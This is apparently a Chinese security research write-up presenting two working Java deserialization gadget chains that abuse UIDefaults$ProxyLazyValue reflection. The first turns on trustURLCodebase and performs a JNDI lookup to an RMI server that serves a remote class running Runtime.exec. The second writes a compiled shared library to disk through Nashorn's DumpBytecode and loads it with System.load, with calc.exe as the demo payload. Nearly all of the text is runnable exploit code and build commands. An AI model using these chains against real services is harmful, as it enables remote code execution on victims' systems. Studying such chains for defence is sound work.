前言
补全。
System.setProperty + InitialContext.doLookup
由于不是web环境也懒得搭建web环境,需要一次执行中完成三次函数调用,所以需要修改一下构造方式,首先创建RMI服务:
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit", "Exploit", "http://127.0.0.1:8080/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.rebind("RMIServer", referenceWrapper);
System.out.println("Bind");
System.out.println("RMI Registry Start at port 1099");
然后开启Tomcat,并将调用Runtime.exec()的Exploit.class放到根目录下,最后构造一个HashMap触发三次反射调用:
Object proxyLazyValue1 = Utils.createWithoutConstructor("javax.swing.UIDefaults$ProxyLazyValue");
Utils.setField(proxyLazyValue1, "className", "java.lang.System");
Utils.setField(proxyLazyValue1, "methodName", "setProperty");
Utils.setField(proxyLazyValue1, "args", new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase", "true"});
Object proxyLazyValue2 = Utils.createWithoutConstructor("javax.swing.UIDefaults$ProxyLazyValue");
Utils.setField(proxyLazyValue2, "className", "java.lang.System");
Utils.setField(proxyLazyValue2, "methodName", "setProperty");
Utils.setField(proxyLazyValue2, "args", new Object[]{"com.sun.jndi.rmi.object.trustURLCodebase", "true"});
Object proxyLazyValue3 = Utils.createWithoutConstructor("javax.swing.UIDefaults$ProxyLazyValue");
Utils.setField(proxyLazyValue3, "className", "javax.naming.InitialContext");
Utils.setField(proxyLazyValue3, "methodName", "doLookup");
Utils.setField(proxyLazyValue3, "args", new Object[]{"rmi://127.0.0.1:1099/RMIServer"});
UIDefaults map1 = new UIDefaults();
map1.put(1, proxyLazyValue1);
UIDefaults map2 = new UIDefaults();
map2.put(1, proxyLazyValue1);
UIDefaults map3 = new UIDefaults();
map3.put(1, proxyLazyValue2);
UIDefaults map4 = new UIDefaults();
map4.put(1, proxyLazyValue2);
UIDefaults map5 = new UIDefaults();
map5.put(1, proxyLazyValue3);
UIDefaults map6 = new UIDefaults();
map6.put(1, proxyLazyValue3);
HashMap bigMap = new HashMap();
bigMap.put(1, 1);
bigMap.put(2, 2);
bigMap.put(3, 3);
bigMap.put(4, 4);
bigMap.put(5, 5);
bigMap.put(6, 6);
Object[] table = (Object[])Utils.getFieldValue(bigMap, "table");
Utils.setField(table[1], "key", map1);
Utils.setField(table[2], "key", map2);
Utils.setField(table[3], "key", map3);
Utils.setField(table[4], "key", map4);
Utils.setField(table[5], "key", map5);
Utils.setField(table[6], "key", map6);
unserialize(serialize(bigMap));
DumpBytecode.dumpBytecode + System.load
DumpBytecode.dumpBytecode可以写入一个文件:
if (env._dest_dir != null) {
String fileName = className.replace('.', File.separatorChar) + ".class";
int index = fileName.lastIndexOf(File.separatorChar);
if (index != -1) {
dir = new File(env._dest_dir, fileName.substring(0, index));
} else {
dir = new File(env._dest_dir);
}
if (!dir.exists() && !dir.mkdirs()) {
throw new IOException(dir.toString());
}
File file = new File(env._dest_dir, fileName);
FileOutputStream fos = new FileOutputStream(file);
Throwable var46 = null;
try {
fos.write(bytecode);
}
...
}
...
可以控制目录、文件名以及文件内容,虽然后缀不可控但是影响不大。
首先生成一个动态链接库:
#include <stdlib.h>
#include <stdio.h>
void __attribute__ ((__constructor__)) aasdnqwgasdela1 (){
system("calc.exe");
}
编译:
gcc -c .\Exploit.cpp -o Exploit && gcc .\Exploit --share -o Exploit.so
最后触发两次反射:
Object scriptEnvironment = Utils.createWithoutConstructor("jdk.nashorn.internal.runtime.ScriptEnvironment");
Utils.setField(scriptEnvironment, "_dest_dir", "./");
Object logger = Utils.createWithoutConstructor("jdk.nashorn.internal.runtime.logging.DebugLogger");
Object proxyLazyValue1 = Utils.createWithoutConstructor("javax.swing.UIDefaults$ProxyLazyValue");
Utils.setField(proxyLazyValue1, "className", "jdk.nashorn.internal.codegen.DumpBytecode");
Utils.setField(proxyLazyValue1, "methodName", "dumpBytecode");
Utils.setField(proxyLazyValue1, "args", new Object[]{
scriptEnvironment, logger, Files.readAllBytes(Paths.get("Exploit.so")), "Twings"
});
Object proxyLazyValue2 = Utils.createWithoutConstructor("javax.swing.UIDefaults$ProxyLazyValue");
Utils.setField(proxyLazyValue2, "className", "java.lang.System");
Utils.setField(proxyLazyValue2, "methodName", "load");
Utils.setField(proxyLazyValue2, "args", new Object[]{"D:/Java1.8/hessianjdk/Twings.class"});
UIDefaults map1 = new UIDefaults();
map1.put(1, proxyLazyValue1);
UIDefaults map2 = new UIDefaults();
map2.put(1, proxyLazyValue1);
UIDefaults map3 = new UIDefaults();
map3.put(1, proxyLazyValue2);
UIDefaults map4 = new UIDefaults();
map4.put(1, proxyLazyValue2);
HashMap bigMap = new HashMap();
bigMap.put(1, 1);
bigMap.put(2, 2);
bigMap.put(3, 3);
bigMap.put(4, 4);
Object[] table = (Object[])Utils.getFieldValue(bigMap, "table");
Utils.setField(table[1], "key", map1);
Utils.setField(table[2], "key", map2);
Utils.setField(table[3], "key", map3);
Utils.setField(table[4], "key", map4);
unserialize(serialize(bigMap));
System.load需要绝对路径,不然会报错:
if (!(new File(filename).isAbsolute())) {
throw new UnsatisfiedLinkError(
"Expecting an absolute path of the library: " + filename);
}